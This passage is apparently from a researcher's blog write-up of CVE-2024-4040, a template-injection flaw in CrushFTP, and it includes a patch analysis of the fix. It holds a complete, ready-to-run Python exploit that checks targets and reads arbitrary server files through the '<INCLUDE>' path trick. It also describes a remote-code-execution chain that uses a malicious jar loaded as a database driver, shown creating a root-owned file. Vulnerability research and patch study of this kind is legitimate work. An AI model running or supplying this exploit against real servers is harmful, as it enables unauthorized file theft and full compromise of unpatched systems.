adding: com/mysql/jdbc/util/LRUCache.class(in = 700) (out= 454)(deflated 35%)
adding: com/mysql/jdbc/util/PropertiesDocGenerator.class(in = 721) (out= 423)(deflated 41%)
adding: com/mysql/jdbc/util/ReadAheadInputStream.class(in = 4549) (out= 2490)(deflated 45%)
adding: com/mysql/jdbc/util/ResultSetUtil.class(in = 1718) (out= 977)(deflated 43%)
adding: com/mysql/jdbc/util/ServerController.class(in = 4914) (out= 2499)(deflated 49%)
adding: com/mysql/jdbc/util/TimezoneDump.class(in = 1825) (out= 989)(deflated 45%)
adding: com/mysql/jdbc/util/VersionFSHierarchyMaker.class(in = 3699) (out= 2113)(deflated 42%)
adding: manifest.txt(in = 36) (out= 38)(deflated -5%)
adding: org/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/mysql/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/mysql/Driver.class(in = 699) (out= 459)(deflated 34%)
adding: org/gjt/mm/mysql/Driver.java(in = 575) (out= 307)(deflated 46%)
Once the jar is ready, we can now go back to the CrushSQL and configure the Database Driver file and save the settings. Once we clicked on “Test settings”, it will hang up for a second and throw the shown error but the command will be executed:
We can see that the file has been created:
ζ ls -la /tmp/crushftp_pwned
-rw-r--r-- 1 root root 0 May 9 07:22 /tmp/crushftp_pwned
I have made my own script which triggers the vulnerability and checks if the target CrushFTP is vulnerable or not and if it is, it will retrieve the specified file.
Unfortunately, automating the RCE is not worth the effort in this case as it is multi-step process. Not that it cannot be automated with extra effort, it is just some dependency on the VFS share where you have uploaded the jar file have to be specified during the plugin configuration. It will not be scalable per se.
#!/usr/bin/python3
import requests
import argparse
import re
def check_vulnerability(url):
try:
sess = requests.Session()
sess.get(url)
currentAuth = sess.cookies['currentAuth']
# Implement vulnerability check logic here
print("[*] Checking vulnerability for URL:", url)
response = sess.get(f"{url}/WebInterface/function/?command=zip&c2f="+currentAuth+"&path={{user_name}}&names=*")
if "anonymous" in response.text:
print(f"[+] URL: {url} is vulnerable to CVE 2024-4040")
return True
else:
print("[-] Not vulnerable!")
return False
except Exception as e:
print(f"Error occured: ", e)
return False
def do_include_file_command(url, filename):
# Implement LFI logic here
check_vulnerability(url)
print("[*] Attempting to read file:", filename)
try:
sess = requests.Session()
sess.get(url)
currentAuth = sess.cookies['currentAuth']
response = sess.get(f"{url}/WebInterface/function/?command=zip&c2f="+currentAuth+f"&path=<INCLUDE>{filename}</INCLUDE>&names=*")
if filename in response.text:
print("[!] Filename found in response, the requested file may not exist")
print(response.text)
else:
print(response.text)
return True
except Exception as e:
print(f"Error occured: ", e)
return False
def main():
parser = argparse.ArgumentParser(description="Script to check for vulnerability and perform LFI on CrushFTP.")
parser.add_argument("--check", action="store_true", help="Check if the remote instance is vulnerable or not")
parser.add_argument("--lfi", metavar="FILENAME", help="Include a file from the remote instance")
parser.add_argument("--url", required=True, help="Base URL of the CrushFTP instance")
args = parser.parse_args()
print("-"*0x30)
print("Exploit for CVE 2024-4040 - CrushFTP SSTI Vulnerability")
print("Author: D4mianWayne (Robin)")
print("Blog: https://d4mianwayne.github.io\n")
print("-"*0x30 + "\n")
if args.check:
check_vulnerability(args.url)
if args.lfi:
do_include_file_command(args.url, args.lfi)
if __name__ == '__main__':
main()
The exploit script and the exploit.jar (used for RCE) can be found here.
Patch #
The CrushFTP developers fixed this in 11.1.0 and 10.6.0 versions. Checking the writeResponse
method, we clearly see that the function which was previously being called has been changed, it is now renamed to change_user_safe_vars_to_values_static
, previously it was change_vars_to_values
public boolean writeResponse(String response) throws Exception {
return this.writeResponse(response, true, 200, true, false, true);
}
public boolean writeResponse(String response, boolean json) throws Exception {
return this.writeResponse(response, true, 200, true, json, true);
}
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
boolean acceptsGZIP = false;
return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
}
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
if (convertVars && this.thisSessionHTTP.thisSession != null) {
response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);
}
And checking the change_user_safe_vars_to_values_static
, we see that there are two new lines added to the start of this function:
if (in_str.indexOf('%') < 0 && in_str.indexOf('{') < 0 && in_str.indexOf('}') < 0 && in_str.indexOf('<') < 0)
return in_str;
We can see that it checks the given string if it contains either of following characters:
{}%<
More so, this function does not even check for INCLUDE
or any other such tags for that matter basically mitigating any chances of invoking those.
public static String change_user_safe_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
try {
if (in_str.indexOf('%') < 0 && in_str.indexOf('{') < 0 && in_str.indexOf('}') < 0 && in_str.indexOf('<') < 0)
return in_str;
String r1 = "%";
String r2 = "%";
for (int r = 0; r < 2; r++) {
if (in_str.indexOf(r1) >= 0)
in_str = parse_server_messages(in_str);
if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, (new Date()).toString());
if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, uSG(user_info, "user_number"));
if (in_str.indexOf(String.valueOf(r1) + "user_password" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_password" + r2, uSG(user_info, "current_password"));
if (in_str.indexOf(String.valueOf(r1) + "user_name" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_name" + r2, uSG(user, "username"));
if (in_str.indexOf(String.valueOf(r1) + "user_anonymous_password" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_anonymous_password" + r2, uSG(user_info, "user_name").equalsIgnoreCase("anonymous") ? uSG(user_info, "current_password") : "");
if (in_str.indexOf(String.valueOf(r1) + "user_current_dir" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_current_dir" + r2, the_session.get_PWD());
if (in_str.indexOf(String.valueOf(r1) + "user_site_commands_text" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_site_commands_text" + r2, uSG(user, "site"));
if (in_str.indexOf(String.valueOf(r1) + "user_the_command_data" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_the_command_data" + r2, uSG(user_info, "the_command_data"));
if (in_str.indexOf(String.valueOf(r1) + "the_command_data" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "the_command_data" + r2, uSG(user_info, "the_command_data"));
if (in_str.indexOf(String.valueOf(r1) + "user_the_command" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_the_command" + r2, uSG(user_info, "the_command"));
if (in_str.indexOf(String.valueOf(r1) + "the_command" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "the_command" + r2, uSG(user_info, "the_command"));
if (in_str.indexOf(String.valueOf(r1) + "user_file_length" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_file_length" + r2, uSG(user_info, "file_length"));
if (in_str.indexOf(String.valueOf(r1) + "user_overall_transfer_speed" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_overall_transfer_speed" + r2, uSG(user_info, "overall_transfer_speed"));
if (in_str.indexOf(String.valueOf(r1) + "user_paused" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_paused" + r2, uSG(user_info, "paused"));
if (in_str.indexOf(String.valueOf(r1) + "user_ip" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_ip" + r2, uSG(user_info, "ip"));
if (in_str.indexOf(String.valueOf(r1) + "user_time_remaining" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, uSG(user_info, "time_remaining"));
if (in_str.indexOf(String.valueOf(r1) + "user_session_upload_count" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_session_upload_count" + r2, uSG(user_info, "session_upload_count"));
if (in_str.indexOf(String.valueOf(r1) + "user_session_download_count" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_session_download_count" + r2, uSG(user_info, "session_download_count"));
if (in_str.indexOf(String.valueOf(r1) + "user_port_remote_ip" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_port_remote_ip" + r2, uSG(user_info, "port_remote_ip"));
if (in_str.indexOf(String.valueOf(r1) + "user_port_remote_port" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_port_remote_port" + r2, uSG(user_info, "port_remote_port"));
if (in_str.indexOf(String.valueOf(r1) + "user_time" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time" + r2, uSG(user_info, "time"));
if (in_str.indexOf(String.valueOf(r1) + "user_start_resume_loc" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_start_resume_loc" + r2, uSG(user_info, "start_resume_loc"));
if (in_str.indexOf(String.valueOf(r1) + "user_file_transfer_mode" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_file_transfer_mode" + r2, uSG(user_info, "file_transfer_mode"));
if (in_str.indexOf(String.valueOf(r1) + "user_sfv" + r2) >= 0 || in_str.indexOf(String.valueOf(r1) + "user_md5" + r2) >= 0) {
in_str = in_str.replaceAll("CRC32", "MD5");
if (user_info != null)
in_str = in_str.replaceAll(String.valueOf(r1) + "user_md5" + r2, user_info.getProperty("md5"));
if (user_info != null)
in_str = in_str.replaceAll(String.valueOf(r1) + "user_sfv" + r2, user_info.getProperty("md5"));
}
try {
if (in_str.indexOf(String.valueOf(r1) + "user_time_remaining" + r2) >= 0) {
String time_str = String.valueOf(uLG(user_info, "seconds_remaining")) + " secs";
if (uLG(user_info, "seconds_remaining") == 0L)
time_str = "<None Active>";
user_info.put("last_time_remaining", time_str);
if (uLG(user_info, "seconds_remaining") > 60L)
time_str = String.valueOf(uLG(user_info, "seconds_remaining") / 60L) + "min, " + (uLG(user_info, "seconds_remaining") - uLG(user_info, "seconds_remaining") / 60L * 60L) + " secs";
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, time_str);
user_info.put("last_time_remaining", time_str);
}
} catch (Exception e) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, uSG(user_info, "last_time_remaining"));
}
if (in_str.indexOf(String.valueOf(r1) + "user_paused" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_paused" + r2, uBG(user_info, "pause_now") ? "!PAUSED!" : "");
if (in_str.indexOf(String.valueOf(r1) + "user_bytes_remaining" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_bytes_remaining" + r2, uLG(user_info, "file_length") - uLG(user_info, "bytes_sent") - uLG(user_info, "start_transfer_byte_amount"));
if (in_str.indexOf(String.valueOf(r1) + "user_pasv_port" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_pasv_port" + r2, uIG(user_info, "PASV_port"));
if (in_str.indexOf(String.valueOf(r1) + "user_ratio" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_ratio" + r2, uSG(user, "ratio") + " to 1");
if (in_str.indexOf(String.valueOf(r1) + "user_perm_ratio" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_perm_ratio" + r2, uBG(user, "perm_ratio") ? "Yes" : "No");
if (in_str.indexOf(String.valueOf(r1) + "user_reverse_ip" + r2) >= 0)
in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_reverse_ip" + r2, InetAddress.getByName(uSG(user, "user_ip")).getHostName());
r1 = "{";
r2 = "}";
}
} catch (Exception e) {
Log.log("SERVER", 2, e);
}
return in_str;
}
References: #
- https://nvd.nist.gov/vuln/detail/CVE-2024-4040
- https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis
- https://github.com/airbus-cert/CVE-2024-4040
- https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update
- https://www.rapid7.com/blog/post/2024/04/23/etr-unauthenticated-crushftp-zero-day-enables-complete-server-compromise/
- https://www.bleepingcomputer.com/news/security/crushftp-warns-users-to-patch-exploited-zero-day-immediately/